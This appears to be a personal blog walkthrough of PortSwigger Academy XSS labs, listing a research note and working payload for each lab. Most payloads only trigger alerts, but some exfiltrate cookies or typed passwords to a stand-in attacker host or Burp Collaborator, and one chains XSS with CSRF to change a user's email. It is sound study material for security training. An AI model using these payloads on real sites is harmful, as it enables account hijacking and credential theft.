PortSwigger Academy - XSS Labs
- Avraham Cohen
- Jun 19, 2021
- 4 min read
Updated: Jun 22, 2021
Studying for my eLearnSecurity eWPTX exam I decided to solve the XSS labs from PortSwigger Academy. I must say that these labs are not easy and you can gain a lot of knowledge.
Don't jump to the solution, try for yourself, if you are not able to get it in few hours then reverse engineer the payload.
Here is a list of the labs from Apprentice to Practitioner level:
(I'll keep the expert level for another time)
You can find the lab list at the following link
Payload: <script>alert(1);</script>
Research: Our search query is reflected in the value="" field

Payload: " onclick="alert(1);" var x="
Research: Post a new comment in the forum and observe an injection is possible in the website field
Payload: " onclick="alert(1);
Research: We can inject a single quote, meaning we can modify the JS code.
Payload: ' ; alert(1);//
Research: Missing encoding capabilities in the Comment field.
Payload: <script>alert(1);</script>
Research: Inspecting the source element we can see it is possible to inject escaped code.
Payload: \\" \/> <script>alert(2);</script>
Research: The following line document.getElementById('searchMessage').innerHTML = query;
Adding an HTML code to a <span> tag will do the work.
Payload: <span/onmouseover=confirm(1)>X</span>
Research: Classic open redirect to XSS on the Back button.
Payload: https://<Lab-ID>.web-security-academy.net/feedback?returnPath=javascript:alert(document.cookie);
Research: Use the Cross-Site Scripting (XSS) Cheat Sheet - 2021 Edition | Web Security Academy (portswigger.net) to identify via BurpSuite intruder the allowed tags and attributes.
Payload: <iframe src="https://ac431fdc1f9a3be980ae0d2a00170089.web-security-academy.net/?search=%3Cbody%20onresize%3Dalert(document.cookie)%3E" onload=this.style.width='100%'>
Research: Use the Cross-Site Scripting (XSS) Cheat Sheet - 2021 Edition | Web Security Academy (portswigger.net) to identify via BurpSuite intruder the allowed tags.
Payload: <iframe src="https://ac731fac1f450685803a770700e500c8.web-security-academy.net/?search=<xss+id%3dx+onfocus%3dalert(document.cookie)+tabindex%3d1>#x" onload=this.style.width='100%'>
Research:
Quick search in Google results in the following piece of code: https://stackoverflow.com/questions/27857073/svg-animations-onbegin-event-not-fired-on-ios
testing the code indeed firing an alert message. Now it is time to break it down and see if we can adjust it to be our payload. The <set> tag is not allowed. Going back to PortSwigger XSS cheatsheet we found that <animatetransform> is allowed. Replacing <set> with <animatetransform>.
Payload: <svg xmlns="http://www.w3.org/2000/svg"><title>On end test</title><circle r="50" cx="100" cy="100" style="fill: #F00"><animatetransform attributeName="fill" attributeType="CSS" onbegin='alert("onbegin")' to="#00F" begin="0s" dur="5s" /></circle></svg>
Research:
Open the source code and observe the following line:

Google search results with: https://security.stackexchange.com/questions/205975/is-xss-in-canonical-link-possible
Payload: https://<Lab-ID>.web-security-academy.net/?%27accesskey=%27x%27onclick=%27alert(1)
Research:
Trying to inject dummy data reflects in a Javascript variable:

Let's close the <script> tag with a simple injection such as </script>

Payload:</script><script>alert(1);</script>
Research: It is possible to use double escaping to inject malicious code. In this lab it is not enough to use \' it is required to close the statement like \'; and then it is possible to inject our payload.
Payload: \';alert(1)//
Research: While ' is encoded it is still possible to inject its HTML encode version '
Payload: https://www.xss.com'); alert(1); var x= ('
Research: The simple way to exploit template injection is by using the following pattern: ${...}.
Simple ${7*7} will evaluate into 49.
Payload: ${alert(1)}
Research: While the storeId is sent by POST it is still possible to send it by GET.
Payload: <select name=" "><script>alert(1);</script>
Research: I am not familiar with AngularJS so I've decided to use Google this time.
A simple search for XSS in AngularJS results with this.
Payload: {{constructor.constructor('alert(1)')()}}
Research:
I wasn't sure about the injection point so I had to take a quick look at the solution.
Trying to self call the searchResult function via https://<Lab-ID>.web-security-academy.net/search-results?search= 123 results with a valid JSON response.
We can see the backslash is not escaped so we can use this to inject our own malicious code.
https://<Lab-ID>.web-security-academy.net/search-results?search=\%22-alert(1)}//
Payload: \%22-alert(1);}//
Research: Open the blog page source code and copy the escapeHTML() function to JavaScript online compiler. Injecting multiple payloads we see that only the first <> pair is escaped but the second one is not.
Payload: <><img src=# onerror="alert(1);"/>
Exploiting cross-site scripting to steal cookies (verified in another platform).
Requirement: Burp Collaborator's default public server
Research: Open the blog page and see that there is no escaping or encoding on the comment.
Simple injection to steal cookies is possible with the img tag.
Payload: <img src="http://<hacker-web-server>?cookie='document.cookie'' />
Requirement: Burp Collaborator's default public server
Research:
I wasn't sure about the injection point so I had to take a quick look at the solution.
The initial idea I had is to inject a keylogger using BeEF or XSS into a CSRF attack.
Today I learned something new.
Payload:
<input name=username id=username>
<input type=password name=password onchange="if(this.value.length)fetch('https://YOUR-SUBDOMAIN-HERE.burpcollaborator.net',{
method:'POST',
mode: 'no-cors',
body:username.value+':'+this.value
});">
Research: This is a two-stage exploit. We have XSS in the comment field in the blog but the CSRF weakness exists on the my-account page. To exploit this vulnerability we first need to execute a GET request to the my-account page, then to read the CSRF token from the response, and finally to execute our malicious request.
Payload:
<script>
// Accessing the /my-account page to be able to steal the CSRF token.
var req = new XMLHttpRequest();
req.onload = handleResponse;
req.open('get','/my-account',true);
req.send();
// Stealing the CSRF token and performing malicious request.
function handleResponse() {
var token = document.getElementsByName('csrf')[0].value
var changeReq = new XMLHttpRequest();
changeReq.open('post', '/my-account/change-email', true);
changeReq.send('csrf='+token+'&email=hacked@hacked.com')
};
</script>
I skipped this lab as it far too advanced at the this time.
Comments